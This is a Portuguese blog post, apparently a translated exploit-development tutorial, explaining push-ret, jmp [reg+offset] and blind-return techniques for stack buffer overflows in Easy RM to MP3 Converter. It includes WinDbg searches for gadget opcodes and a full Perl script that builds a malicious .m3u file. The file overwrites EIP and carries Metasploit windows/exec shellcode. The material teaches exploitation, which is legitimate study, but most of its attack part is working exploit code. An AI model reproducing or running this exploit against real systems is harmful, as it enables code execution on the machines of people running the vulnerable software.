Push return
Push ret é bem similar à call
[reg]. Se um dos registradores estiver apontando diretamente para seu
shellcode, e se por alguma razão você não possa utilizar um jmp [reg] para
pular para o shellcode, então poderia
- colocar o endereço desse registrador na stack. Isso iria para o topo da stack.
- ret (que pegaria o endereço de volta para a stack e pularia para ele)
Para fazer isso funcionar, você
precisa sobrescrever o EIP com o endereço de uma sequência push [reg]+ret em um
das dll’s.
Supondo que o shellcode está
localizado diretamente no ESP. Você precisa encontrar o opcode para ‘push esp’
e o opcode para ‘ret’ primeiro.
0:000> a
000ff7ae push esp
push esp
000ff7af ret
ret
0:000> u 000ff7ae
+0xff79d:
000ff7ae 54 push esp
000ff7af c3 ret
opcode da sequência é 0×54,0xc3
Busque por esse opcode:
0:000> s 01a90000 l 01dff000 54 c3
01aa57f6 54 c3 90 90 90 90 90 90-90 90 8b 44 24 08 85 c0 T..........D$...
01b31d88 54 c3 fe ff 85 c0 74 5d-53 8b 5c 24 30 57 8d 4c T.....t]S.\$0W.L
01b5cd65 54 c3 8b 87 33 05 00 00-83 f8 06 0f 85 92 01 00 T...3...........
01b5cf2f 54 c3 8b 4c 24 58 8b c6-5f 5e 5d 5b 64 89 0d 00 T..L$X.._^][d...
01b5cf44 54 c3 90 90 90 90 90 90-90 90 90 90 8a 81 da 04 T...............
01bbbb3e 54 c3 8b 4c 24 50 5e 33-c0 5b 64 89 0d 00 00 00 T..L$P^3.[d.....
01bbbb51 54 c3 90 90 90 90 90 90-90 90 90 90 90 90 90 6a T..............j
01bf2aba 54 c3 0c 8b 74 24 20 39-32 73 09 40 83 c2 08 41 T...t$ 92s.@...A
01c0f6b4 54 c3 b8 0e 00 07 80 8b-4c 24 54 5e 5d 5b 64 89 T.......L$T^][d.
01c0f6cb 54 c3 90 90 90 64 a1 00-00 00 00 6a ff 68 3b 84 T....d.....j.h;.
01c692aa 54 c3 90 90 90 90 8b 44-24 04 8b 4c 24 08 8b 54 T......D$..L$..T
01d35a40 54 c3 c8 3d 10 e4 38 14-7a f9 ce f1 52 15 80 d8 T..=..8.z...R...
01d4daa7 54 c3 9f 4d 68 ce ca 2f-32 f2 d5 df 1b 8f fc 56 T..Mh../2......V
01d55edb 54 c3 9f 4d 68 ce ca 2f-32 f2 d5 df 1b 8f fc 56 T..Mh../2......V
01d649c7 54 c3 9f 4d 68 ce ca 2f-32 f2 d5 df 1b 8f fc 56 T..Mh../2......V
01d73406 54 c3 d3 2d d3 c3 3a b3-83 c3 ab b6 b2 c3 0a 20 T..-..:........
01d74526 54 c3 da 4c 3b 43 11 e7-54 c3 cc 36 bb c3 f8 63 T..L;C..T..6...c
01d7452e 54 c3 cc 36 bb c3 f8 63-3b 44 d8 00 d1 43 f5 f3 T..6...c;D...C..
01d74b26 54 c3 ca 63 f0 c2 f7 86-77 42 38 98 92 42 7e 1d T..c....wB8..B~.
031d3b18 54 c3 f6 ff 54 c3 f6 ff-4f bd f0 ff 00 6c 9f ff T...T...O....l..
031d3b1c 54 c3 f6 ff 4f bd f0 ff-00 6c 9f ff 30 ac d6 ff T...O....l..0...
Crie seu
exploit e execute:
my $file= "test1.m3u";
my $junk= "A" x 26094;
my $eip = pack('V',0x01aa57f6); #sobrescreve EIP com push esp, ret
my $prependesp = "XXXX"; # adiciona 4 bytes e ESP aponta para o início do shellcode
my $shellcode = "\x90" x 25; #inicia o shellcode com alguns NOPS
# windows/exec - 303 bytes
# http://www.metasploit.com
# Encoder: x86/alpha_upper
# EXITFUNC=seh, CMD=calc
$shellcode = $shellcode . "\x89\xe2\xda\xc1\xd9\x72\xf4\x58\x50\x59\x49\x49\x49\x49" .
"\x43\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56" .
"\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41" .
"\x42\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42" .
"\x30\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x4a" .
"\x48\x50\x44\x43\x30\x43\x30\x45\x50\x4c\x4b\x47\x35\x47" .
"\x4c\x4c\x4b\x43\x4c\x43\x35\x43\x48\x45\x51\x4a\x4f\x4c" .
"\x4b\x50\x4f\x42\x38\x4c\x4b\x51\x4f\x47\x50\x43\x31\x4a" .
"\x4b\x51\x59\x4c\x4b\x46\x54\x4c\x4b\x43\x31\x4a\x4e\x50" .
"\x31\x49\x50\x4c\x59\x4e\x4c\x4c\x44\x49\x50\x43\x44\x43" .
"\x37\x49\x51\x49\x5a\x44\x4d\x43\x31\x49\x52\x4a\x4b\x4a" .
"\x54\x47\x4b\x51\x44\x46\x44\x43\x34\x42\x55\x4b\x55\x4c" .
"\x4b\x51\x4f\x51\x34\x45\x51\x4a\x4b\x42\x46\x4c\x4b\x44" .
"\x4c\x50\x4b\x4c\x4b\x51\x4f\x45\x4c\x45\x51\x4a\x4b\x4c" .
"\x4b\x45\x4c\x4c\x4b\x45\x51\x4a\x4b\x4d\x59\x51\x4c\x47" .
"\x54\x43\x34\x48\x43\x51\x4f\x46\x51\x4b\x46\x43\x50\x50" .
"\x56\x45\x34\x4c\x4b\x47\x36\x50\x30\x4c\x4b\x51\x50\x44" .
"\x4c\x4c\x4b\x44\x30\x45\x4c\x4e\x4d\x4c\x4b\x45\x38\x43" .
"\x38\x4b\x39\x4a\x58\x4c\x43\x49\x50\x42\x4a\x50\x50\x42" .
"\x48\x4c\x30\x4d\x5a\x43\x34\x51\x4f\x45\x38\x4a\x38\x4b" .
"\x4e\x4d\x5a\x44\x4e\x46\x37\x4b\x4f\x4d\x37\x42\x43\x45" .
"\x31\x42\x4c\x42\x43\x45\x50\x41\x41";
open($FILE,">$file");
print $FILE $junk.$eip.$prependesp.$shellcode;
close($FILE);
print "Arquivo m3u criado com sucesso\n";
Owned novamente!
Jmp [reg]+[offset]
Outra técnica para resolver o
problema de que o shellcode começa em um offset de um registrador (ESP em nosso
exemplo) é tentando encontrar uma instrução jmp [reg + offset] (e sobrescrever
EIP com o endereço daquela instrução). Vamos assumir que precisamos pular 8
bytes novamente (como no exercício anterior). Usando a técnica jmp reg+offset,
simplesmente pularíamos sobre os 8 bytes no início do ESP e cairíamos
diretamente em nosso shellcode.
Precisamos de 3 coisas:
- Encontrar o opcode para jmp esp+8h
- Encontrar um endereço que aponte para essa instrução
- Criar o exploit que sobrescreva EIP com este endereço
Encontrando o opcode com o
windbg:
0:014> a
7c90120e jmp [esp + 8]
jmp [esp + 8]
7c901212
0:014> u 7c90120e
ntdll!DbgBreakPoint:
7c90120e ff642408 jmp dword ptr [esp+8]
O opcode é ff642408
Agora poderá buscar por uma dll
que tenha este opcode, e utilizar o endereço para sobrescrever EIP com o mesmo.
Em nosso exemplo, não consegui encontrar esse opcode em lugar algum.
Obviamente, você não está limitado a buscar jmp [esp+8]... pode procurar também
por valores maiores que 8 (pois você controla qualquer coisa acima de 8... você
pode colocar alguns NOP’s adicionais no início do shellcode e fazer o jump nos
NOP’s). De qualquer forma, o opcode para ret é c3, mas estou certo de que já
descobriu isso por conta própria J
Blind return
Esta técnica é baseada nos dois
passos a seguir:
- Sobrescrever EIP com um endereço apontando para uma instrução ret
- Codificar o endereço do shellcode nos primeiros 4 bytes do ESP
- Quando o ret é executado, os últimos 4 bytes adicionados (valores mais altos) são retirados da stack e colocados no EIP
- Exploit pula para o shellcode
Desse modo essa técnica é útil
se:
- você não pode apontar EIP para ir para um registrador diretamente (por não poder usar instruções jmp ou call). Isso significa que você precisa codificar o endereço de memória do início do shellcode, mas
- você não controla os dados em ESP (pelo menos os 4 primeiros bytes)
Para fazer isso, precisa ter o
endereço de memória do shellcode (= endereço do ESP). Como sempre, tente evitar
que este endereço inicie com, ou contenha, null bytes, ou que não seja capaz de
carregar seu shellcode além do EIP. Se seu shellcode puder ser posto em um
local, cujo endereço não contiver null bytes, então essa é outra técnica que
pode funcionar.
Encontre o endereço de uma
instrução ‘ret’ em uma das dll’s.
Configure os 4 primeiros bytes de
seu shellcode (primeiros 4 bytes de ESP) para o endereço onde o shellcode
começa, e sobrescreva EIP com o endereço da instrução ‘ret’. Dos testes que
fizemos no primeiro tutorial, lembramos que ESP parece iniciar em 0x000ff730.
Obviamente que esse endereço pode mudar em diferentes sistemas.
Este endereço contém null bytes,
então quando construir o payload, criamos um buffer que se parece com isso:
[26094 A’s][endereço de ret][0x000fff730][shellcode]
O problema com esse exemplo é que
o endereço utilizado para sobrescrever EIP contém um null byte (= terminador de
string), assim o shellcode não é colocado no ESP. Isso é um problema, mas pode
não ser um impedimento. Algumas vezes pode descobrir seu buffer (olhe os
primeiros 26094 A’s, não aqueles após a sobrescrita do EIP, pois eles serão
inutilizados por conta do null byte) atrás de outros locais/registradores, tais
como eax, ebx, ecx, etc... Nesse caso, você pode tentar colocar o endereço
desse registrador como os primeiros 4 bytes do shellcode (no início do ESP,
diretamente após a sobrescrita do EIP), e ainda sobrescrever o EIP com o
endereço de uma instrução ‘ret’.
Esta é uma técnica que possui uma
série de requisitos e “poréns”, mas precisa apenas de uma instrução ‘ret’... De
qualquer forma, ela não funciona no caso do Easy RM to MP3.
Nenhum comentário:
Postar um comentário